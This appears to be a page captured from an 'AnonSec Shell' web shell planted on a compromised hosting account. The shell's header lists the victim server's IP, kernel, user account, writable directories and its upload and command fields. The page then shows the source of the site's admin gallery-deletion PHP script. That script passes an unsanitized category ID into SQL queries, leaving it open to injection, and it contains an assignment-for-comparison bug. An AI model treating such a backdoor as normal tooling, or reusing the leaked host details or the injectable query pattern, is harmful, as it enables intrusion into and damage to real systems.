AnonSec Shell
Server IP : 149.202.105.228  /  Your IP : 216.73.216.18
Web Server : Apache
System : Linux webm129.cluster030.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : atfycaf ( 116275)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/atfycaf/www/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/atfycaf/www/admin/galleryCatDel.php
<?php
$thisCheckID	= 36;
include "globalVars.php";

include "header.php";
?>

				<h2>Delete a Photo Gallery Category</h2>
<?php

if ( isset($_POST["deleteGalleryCat"]) || isset($_POST["deleteGalleryCatAll"]) || isset($_POST["deleteGalleryCatJ"]) ) {

	$catID		= cleanPost($_POST["catID"], $conn);
	$catTitle	= cleanPost($_POST["catTitle"], $conn);

	$imageFolderQuery = mysqli_query($conn, "SELECT pageURL, tournLeague, compID FROM photoGalleryCats WHERE id = '$catID'");
	while ($iFQ = mysqli_fetch_array($imageFolderQuery)) {
		$photoAlbum		= $iFQ["pageURL"];
		$photoAlbumRoot	= $SERVER_ROOT ."/images/gallery/". $photoAlbum;
		$tournLeague	= $iFQ["tournLeague"];
		$compID			= $iFQ["compID"];
	}

	if ($tournLeague != 0) {
		if ($tournLeague = 1) {
			mysqli_query($conn, "UPDATE knockoutConfig SET photoGallery = '0' WHERE id = '$compID'");
		} else {
			mysqli_query($conn, "UPDATE leagueConfig SET photoGallery = '0' WHERE id = '$compID'");
		}
	}

	mysqli_query($conn, "DELETE FROM photoGalleryCats WHERE id = '$catID'") or die (mysqli_error($conn));

	$trackMsg	= "The User ". addslashes($adminName) ." &lt;$adminEmail&gt; deleted the ". addslashes($catTitle) ." photo gallery. ";

	if ( isset($_POST["deleteGalleryCatJ"])) {
		///// MOVE ALL PHOTOS IN THE CAT TO AN ARCHIVE CAT	\\\\\
		$getPhotosQuery = mysqli_query($conn, "SELECT * FROM photoGallery WHERE galleryID = '$catID'");
		while ($gPQ = mysqli_fetch_array($getPhotosQuery)) {
			$imageID	= $gPQ["id"];
			$imageURL	= $gPQ["imageURL"];

			$imageRoot		= $SERVER_ROOT ."/images/gallery/". $imageURL;
			$headerRoot		= substr_replace($imageRoot, "-title", "-4", 0);
			$thumbRoot		= substr_replace($imageRoot, "-thumb", "-4", 0);

			$newImageURL	= str_replace($photoAlbum ."/", "archive/", $imageURL);

			$newImageRoot		= $SERVER_ROOT ."/images/gallery/". $newImageURL;
			$newHeaderRoot		= substr_replace($newImageRoot, "-title", "-4", 0);
			$newThumbRoot		= substr_replace($newImageRoot, "-thumb", "-4", 0);

			rename($imageRoot, $newImageRoot);
			rename($headerRoot, $newHeaderRoot);
			rename($thumbRoot, $newThumbRoot);

			mysqli_query($conn, "UPDATE photoGallery SET imageURL = '$newImageURL' WHERE id = '$imageID'");
		}
		rmdir($photoAlbumRoot);

		mysqli_query($conn, "UPDATE photoGallery SET galleryID = '9999' WHERE galleryID = '$catID'");

		echo "<p><strong>Success!</strong> The Gallery Category $catTitle has been deleted and its photos have been archived.</p>";

		$trackMsg	.= "All photos from this gallery were moved to the archive category.";

	} elseif ( isset($_POST["deleteGalleryCatAll"])) {
		///// DELETE ALL PHOTOS IN THE CAT	\\\\\
		$getPhotosQuery = mysqli_query($conn, "SELECT * FROM photoGallery WHERE galleryID = '$catID'");
		while ($gPQ = mysqli_fetch_array($getPhotosQuery)) {
			$imageID	= $gPQ["id"];
			$imageURL	= $gPQ["imageURL"];

			$imageRoot		= $SERVER_ROOT ."/images/gallery/". $imageURL;
			$headerRoot		= substr_replace($imageURL, "-title", "-4", 0);
			$thumbRoot		= substr_replace($imageURL, "-thumb", "-4", 0);

			if (file_exists($imageRoot)) {
				unlink($imageRoot);
			}
			if (file_exists($headerRoot)) {
				unlink($headerRoot);
			}
			if (file_exists($thumbRoot)) {
				unlink($thumbRoot);
			}

			mysqli_query($conn, "DELETE FROM photoGallery WHERE id = '$imageID'");
		}
		rmdir($photoAlbumRoot);

		echo "<p><strong>Success!</strong> The Gallery Category $catTitle and all of its photos have been deleted.</p>";

		$trackMsg	.= "All photos from this gallery were deleted.";

	} else {
		rmdir($photoAlbumRoot);

		echo "<p><strong>Success!</strong> The Gallery Category $catTitle has been deleted.</p>";

		$trackMsg	.= "There were no photos in this gallery.";

	}

	$trackDate		= date("Y-m-d H:i:s");
	mysqli_query($conn, "INSERT INTO userActions (dateCreated, adminID, pageTracking, databaseUpdated, updateDetails) VALUES ('$trackDate', '$adminID', 'admin/galleryCatDel.html', 'photoGalleryCats', '$trackMsg')");

} elseif (isset($_POST["getGalleryCat"])) {
	$catID		= $_POST["catID"];

	$galleryCatQuery = mysqli_query($conn, "SELECT * FROM photoGalleryCats WHERE id = '$catID'");
	while ($gCQ = mysqli_fetch_array($galleryCatQuery)) {
		$catTitle		= $gCQ["catTitle"];
	}
	$hasPhotosQuery = mysqli_query($conn, "SELECT id FROM photoGallery WHERE galleryID = '$catID'");
	$hasPhotos	= mysqli_num_rows($hasPhotosQuery);
	if ($hasPhotos == 1) {
		$photo_s	= "photo";
	} else {
		$photo_s	= "photos";
	}
		
	?>
    <form action="galleryCatDel.html" method="post">
		<input type="hidden" name="catID" value="<?php echo $catID ?>">
		<div class="descStTab">
			<div class="pFormRow">
				<div class="pFormTitle">Category Title:</div>
				<div class="pFormInput">
					<input type="text" name="catTitle" size="50" value="<?php echo $catTitle ?>" readonly />
					<div class="pFormLabel">
						<label class="labelName">Category Title:</label>
					</div>
				</div>
			</div>
		</div>
		<p style="float:left; width:100%; text-align:center; font-weight:600;">Are you sure you want to delete this Gallery Category from the website? This process cannot be undone.</p>
		<?php
		if ($hasPhotos > 0) {
			?>
		<p style="float:left; width:100%; text-align:center; font-weight:600; color:#B0222A;">This Gallery Category has <?php echo $hasPhotos ." ". $photo_s ?> attached to it. Do you want to delete the photos in the category or move them to an archived category?</p>
		<div class="form50">
			<input type="submit" class="deleteButton" name="deleteGalleryCatAll" value="Delete Category &amp; Photos" />
		</div>
		<div class="form50">
			<input type="submit" class="submitButton" name="deleteGalleryCatJ" value="Delete just Category" />
		</div>
			<?php
		} else {
			?>
		<input type="submit" class="submitButton" name="deleteGalleryCat" value="Delete this Category" />
			<?php
		}
		?>
	</form>
    <?php

} else {
	header("Location: galleryCatEdit.html");
}
?>

<?php
include "footer.php";
?>

Anon7 - 2022
AnonSec Team